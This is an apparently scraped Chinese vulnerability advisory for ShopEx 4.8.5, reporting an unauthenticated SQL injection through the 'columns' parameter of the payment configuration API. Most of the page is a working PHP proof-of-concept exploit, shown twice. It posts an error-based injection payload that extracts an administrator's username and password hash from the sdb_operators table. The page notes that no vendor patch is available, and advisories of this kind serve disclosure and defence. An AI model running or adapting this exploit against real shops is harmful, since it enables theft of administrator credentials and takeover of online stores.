缺陷文件:
\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
第44行 $data['columns'] 未做过滤导致注入
<code><?php
set_time_limit(0);
ob_flush();
echo 'Test: http://localhost:808'."\r\n";
$sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&amp;disabled=1';
$url='http://localhost:808/api.php?act=search_payment_cfg_list&amp;api_version=2.0';
$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $sql);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
flush();
$data = curl_exec($ch);
echo $data;
curl_close($ch);
?></code>
外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
缺陷文件:
\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
第44行 $data['columns'] 未做过滤导致注入
<pre class="prettyprint linenums"><?php
set_time_limit(0);
ob_flush();
echo 'Test: http://localhost:808'."\r\n";
$sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&amp;disabled=1';
$url='http://localhost:808/api.php?act=search_payment_cfg_list&amp;api_version=2.0';
$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $sql);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
flush();
$data = curl_exec($ch);
echo $data;
curl_close($ch);
?></pre>
外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
shopex 4.8.5
厂商补丁:
shopex
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.shopex.cn
暂无评论